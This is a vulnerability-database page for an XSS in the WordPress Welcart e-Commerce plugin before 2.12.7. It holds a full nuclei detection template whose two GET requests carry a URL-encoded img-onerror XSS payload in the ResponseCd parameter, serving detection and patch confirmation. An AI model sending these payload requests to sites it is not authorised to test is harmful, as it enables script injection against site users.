Browse / CVEs / CVE-2026-120597
CVE-2026-120597· welcart / welcart e-commerce· CWE-79
WordPress Welcart e-Commerce < 2.12.7 - Cross-Site Scripting
mediumseverity
4.3CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it
Welcart e-Commerce Plugin up to 2.12.6 contains a stored XSS caused by improper escaping of the ResponseCd argument in ESCOTT_MAIN::error_page_message, letting remote attackers execute scripts, exploit requires crafted input.
Impact
Remote attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking or other client-side attacks.
Fix
Upgrade to version 2.12.7.
How to confirm it
Send: GET /usces-cart/?acting_return=1&MerchantFree2=acting_escott_conv&ResponseCd=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E ; GET /cart/?acting_return=1&MerchantFree2=acting_escott_conv&ResponseCd=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(to_lower(body), "error_page_mesage", "<img src=x onerror=alert(document.domain)>")Run it with nuclei: nuclei -id CVE-2026-120597 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2026-120597
info:
name: WordPress Welcart e-Commerce < 2.12.7 - Cross-Site Scripting
author: maulanawirawan
severity: medium
description: |
Welcart e-Commerce Plugin up to 2.12.6 contains a stored XSS caused by improper escaping of the ResponseCd argument in ESCOTT_MAIN::error_page_message, letting remote attackers execute scripts, exploit requires crafted input.
impact: |
Remote attackers can execute arbitrary scripts in users' browsers, potentially leading to session hijacking or other client-side attacks.
remediation: |
Upgrade to version 2.12.7.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-120597
- https://github.com/bevennyamande/welcart-poc
- https://wordpress.org/plugins/usc-e-shop/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2026-120597
epss-score: 0.00596
epss-percentile: 0.48832
cwe-id: CWE-79
metadata:
max-request: 2
vendor: welcart
product: welcart_e-commerce
fofa-query: body="wp-content/plugins/usc-e-shop"
tags: cve,cve2026,wordpress,wp-plugin,welcart,xss,unauth
http:
- raw:
- |
GET /usces-cart/?acting_return=1&MerchantFree2=acting_escott_conv&ResponseCd=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: {{Hostname}}
- |
GET /cart/?acting_return=1&MerchantFree2=acting_escott_conv&ResponseCd=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: {{Hostname}}
stop-at-first-match: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(to_lower(body), "error_page_mesage", "<img src=x onerror=alert(document.domain)>")'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2026-120597
- https://github.com/bevennyamande/welcart-poc
- https://wordpress.org/plugins/usc-e-shop/
Use this check only on systems you are authorised to test. Where the data comes from